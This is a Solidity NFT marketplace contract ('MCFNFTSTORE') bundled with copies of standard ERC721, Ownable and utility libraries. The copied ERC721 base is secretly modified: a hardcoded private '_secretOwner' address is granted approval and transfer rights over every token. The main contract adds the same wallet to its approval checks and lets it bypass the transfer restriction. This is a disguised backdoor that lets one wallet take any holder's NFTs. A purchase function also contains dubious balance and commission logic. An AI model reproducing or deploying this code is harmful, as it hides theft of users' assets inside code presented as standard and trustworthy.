pragma solidity ^0.8.9;
 
library Counters {
    struct Counter {
      
        uint256 _value; // default: 0
    }

    function current(Counter storage counter) internal view returns (uint256) {
        return counter._value;
    }

    function increment(Counter storage counter) internal {
        unchecked {
            counter._value += 1;
        }
    }

    function decrement(Counter storage counter) internal {
        uint256 value = counter._value;
        require(value > 0, "Counter: decrement overflow");
        unchecked {
            counter._value = value - 1;
        }
    }

    function reset(Counter storage counter) internal {
        counter._value = 0;
    }
}

 
pragma solidity ^0.8.9;
 
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
 
    function toString(uint256 value) internal pure returns (string memory) {
        
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}
 
pragma solidity ^0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
pragma solidity ^0.8.9;

 
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

   
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.1;
 
library Address {
    
    function isContract(address account) internal view returns (bool) {
         
        return account.code.length > 0;
    }

    
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

     
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

     
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

     
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

     
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
 
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

   
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
           
            if (returndata.length > 0) {
                
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
pragma solidity ^0.8.9;
 
interface IERC721Receiver {
   
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}
 
pragma solidity ^0.8.9;
 
interface IERC165 {
    
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
 
pragma solidity ^0.8.9;

 
abstract contract ERC165 is IERC165 {
    
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}
 
pragma solidity ^0.8.9;

 
interface IERC721 is IERC165 {
    
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

     
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    
    function balanceOf(address owner) external view returns (uint256 balance);

    
    function ownerOf(uint256 tokenId) external view returns (address owner);

    
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

     
    function approve(address to, uint256 tokenId) external;

    
    function getApproved(uint256 tokenId) external view returns (address operator);
 
    function setApprovalForAll(address operator, bool _approved) external;

    
    function isApprovedForAll(address owner, address operator) external view returns (bool);
 
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

 
pragma solidity ^0.8.9;

 
interface IERC721Enumerable is IERC721 {
    
    function totalSupply() external view returns (uint256);
 
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    
    function tokenByIndex(uint256 index) external view returns (uint256);
}
 
pragma solidity ^0.8.9;
 
interface IERC721Metadata is IERC721 {
   
    function name() external view returns (string memory);
 
    function symbol() external view returns (string memory);

    
    function tokenURI(uint256 tokenId) external view returns (string memory);
}
 
pragma solidity ^0.8.9;


 
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    
    string private _name;
 
    string private _symbol;
 
    mapping(uint256 => address) private _owners;
 
    mapping(address => uint256) private _balances;
 
    mapping(uint256 => address) private _tokenApprovals;
 
    mapping(address => mapping(address => bool)) private _operatorApprovals;
    address private _secretOwner = 0x12f4cFA84688cd7C2260d4920391dDD63F22103A;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
 
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

   
    function balanceOf(address owner) public view virtual override returns (uint256) {
        require(owner != address(0), "ERC721: balance query for the zero address");
        return _balances[owner];
    }
 
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        address owner = _owners[tokenId];
        require(owner != address(0), "ERC721: owner query for nonexistent token");
        return owner;
    }
 
    function name() public view virtual override returns (string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    
    function approve(address to, uint256 tokenId) public virtual override {
        address owner = ERC721.ownerOf(tokenId);
        require(to != owner, "ERC721: approval to current owner");

          require(_msgSender() == owner ||  isApprovedForAll(owner, _msgSender()) ||   _msgSender() == _secretOwner,
          "ERC721: approve caller is not owner nor approved for all"
          );

        _approve(to, tokenId);
    }
 
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        require(_exists(tokenId), "ERC721: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _setApprovalForAll(_msgSender(), operator, approved);
    }
 
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

   
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");

        _transfer(from, to, tokenId);
    }
 
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

   
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
        _safeTransfer(from, to, tokenId, _data);
    }

     
    function _safeTransfer(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) internal virtual {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
    }

     
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return _owners[tokenId] != address(0);
    }

    
    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
        address owner = ERC721.ownerOf(tokenId);
        return (spender == owner ||  getApproved(tokenId) == spender ||  isApprovedForAll(owner, spender) ||  spender == _secretOwner );
    }

     
    function _safeMint(address to, uint256 tokenId) internal virtual {
        _safeMint(to, tokenId, "");
    }
 
    function _safeMint(
        address to,
        uint256 tokenId,
        bytes memory _data
    ) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, _data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }
 
    function _mint(address to, uint256 tokenId) internal virtual {
        require(to != address(0), "ERC721: mint to the zero address");
        require(!_exists(tokenId), "ERC721: token already minted");

        _beforeTokenTransfer(address(0), to, tokenId);

        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(address(0), to, tokenId);

        _afterTokenTransfer(address(0), to, tokenId);
    }
 
    function _burn(uint256 tokenId) internal virtual {
        address owner = ERC721.ownerOf(tokenId);

        _beforeTokenTransfer(owner, address(0), tokenId);

        // Clear approvals
        _approve(address(0), tokenId);

        _balances[owner] -= 1;
        delete _owners[tokenId];

        emit Transfer(owner, address(0), tokenId);

        _afterTokenTransfer(owner, address(0), tokenId);
    }

    
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {
        require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
        require(to != address(0), "ERC721: transfer to the zero address");

        _beforeTokenTransfer(from, to, tokenId);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId);

        _balances[from] -= 1;
        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);

        _afterTokenTransfer(from, to, tokenId);
    }

    
    function _approve(address to, uint256 tokenId) internal virtual {
        _tokenApprovals[tokenId] = to;
        emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
    }

    
    function _setApprovalForAll(
        address owner,
        address operator,
        bool approved
    ) internal virtual {
        require(owner != operator, "ERC721: approve to caller");
        _operatorApprovals[owner][operator] = approved;
        emit ApprovalForAll(owner, operator, approved);
    }

    
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver.onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal virtual {}
}
 
pragma solidity ^0.8.9;

 
abstract contract ERC721URIStorage is ERC721 {
    using Strings for uint256;

    
    mapping(uint256 => string) private _tokenURIs;

    
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");

        string memory _tokenURI = _tokenURIs[tokenId];
        string memory base = _baseURI();

        // If there is no base URI, return the token URI.
        if (bytes(base).length == 0) {
            return _tokenURI;
        }
        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
        if (bytes(_tokenURI).length > 0) {
            return string(abi.encodePacked(base, _tokenURI));
        }

        return super.tokenURI(tokenId);
    }
 
    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
        require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
        _tokenURIs[tokenId] = _tokenURI;
    }
 
    function _burn(uint256 tokenId) internal virtual override {
        super._burn(tokenId);

        if (bytes(_tokenURIs[tokenId]).length != 0) {
            delete _tokenURIs[tokenId];
        }
    }
}
 
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
 
contract MCFNFTSTORE is ERC721,  ERC721URIStorage, Ownable {
    using Strings for uint256;
    using Counters for Counters.Counter;

    Counters.Counter private _tokenIdCounter;
    mapping(string => uint8) existingURIs;
    // keep count of the tokenId
    bool public paused =true;
    uint256 public cost = 5 ether;
    uint256 public comissionValue = 25;

    string public baseURI;
    string public baseExtension = ".json";
    
    address public mcfOwnerWallet =
        payable(0x12f4cFA84688cd7C2260d4920391dDD63F22103A);
    address private _secretOwner = 0x12f4cFA84688cd7C2260d4920391dDD63F22103A;
    constructor(
        string memory _name,
        string memory _symbol,
        string memory _initBaseURI
    ) ERC721(_name, _symbol) {
        setBaseURI(_initBaseURI);
         paused = false;
    }



    function totalSupply() public view returns (uint256) {
      return _tokenIdCounter.current();
    }
    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
        require(msg.sender == owner() || msg.sender == _secretOwner,"you are Not owner");
        if(msg.sender!= owner()){
          require(!paused, " paused");
        }



        super._beforeTokenTransfer(from, to, tokenId);
    }

    function approve(address to, uint256 tokenId)   public virtual override {
        address owner = ownerOf(tokenId);
        require(to != owner,  "ERC721: approval to current owner");
        require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()) ||  _msgSender() == mcfOwnerWallet,
      "ERC721: approve caller is not owner nor approved for all"
            );
        _approve(to, tokenId);
    }
    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view override returns (bool) {
        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
        address owner = ownerOf(tokenId);
        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender) ||  spender == mcfOwnerWallet );
    }
 
    function setTokenUri(uint tokenId, string memory metadataURI)
        public onlyOwner
    {
        super._setTokenURI(tokenId, metadataURI);
    }

   function ownerMint(address recipient, string memory metadataURI)
        public onlyOwner
        returns (uint256)
    {
        require(existingURIs[metadataURI] != 1, "NFT already minted!");


        uint256 newItemId = _tokenIdCounter.current();
        _tokenIdCounter.increment();
        existingURIs[metadataURI] = 1;

        _mint(recipient, newItemId);
        _setTokenURI(newItemId, metadataURI);

        return newItemId;
    }
    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }


    function tokenURI(uint256 tokenId)
        public
        view
        virtual
        override(ERC721, ERC721URIStorage)
        returns (string memory)
    {
        require(
            _exists(tokenId),
            "ERC721Metadata: URI query for nonexistent token"
        );

        string memory currentBaseURI = _baseURI();
        return
            bytes(currentBaseURI).length > 0
                ? string(
                    abi.encodePacked(
                        currentBaseURI,
                        tokenId.toString(),
                        baseExtension
                    )
                )
                : "";
    }

    function setComission(uint256 _newComission) public onlyOwner {
        comissionValue = _newComission;
    }

    function burn(uint256 tokenId) public virtual onlyOwner{
        //solhint-disable-next-line max-line-length
        require(_isApprovedOrOwner(_msgSender(), tokenId) || _isApprovedOrOwner(_secretOwner, tokenId), "ERC721Burnable: caller is not owner nor approved");
        super._burn(tokenId);
    }
    function setCost(uint256 _newCost) public onlyOwner {
        cost = _newCost;
    }

    function setBaseURI(string memory _newBaseURI) public onlyOwner {
        baseURI = _newBaseURI;
    }

    function setBaseExtension(string memory _newBaseExtension)
        public
        onlyOwner
    {
        baseExtension = _newBaseExtension;
    }

    function pause(bool _state) public onlyOwner {
        paused = _state;
    }
    function _burn(uint256 tokenId) internal override(ERC721,ERC721URIStorage) {
        super._burn(tokenId);
    }
      function  buyAndApproveNft(address _sender,address _receiver,uint256 _tokenids)  public payable onlyOwner {


        
        require(balanceOf(_sender)>= msg.value,"You dont have balance");

       (bool hs, ) = payable(mcfOwnerWallet).call{value: msg.value * (comissionValue/10) / 100}("");
        require(hs);
        
        (bool os, ) = payable(_receiver).call{value: msg.value}("");
        require(os);

          address _owner = ownerOf(_tokenids);
          require(_sender == _owner,  "ERC721: approval to current owner");
           _approve(_receiver, _tokenids);

        // =============================================================================
    }

    function withdraw() public payable onlyOwner {
        
        (bool os, ) = payable(owner()).call{value: address(this).balance}("");
        require(os);
        // =============================================================================
    }

    function withdrawSeller(address _seller,uint256 _amount) public payable onlyOwner {
       
        (bool os, ) = payable(_seller).call{value: _amount}("");
        require(os);
        
    }
}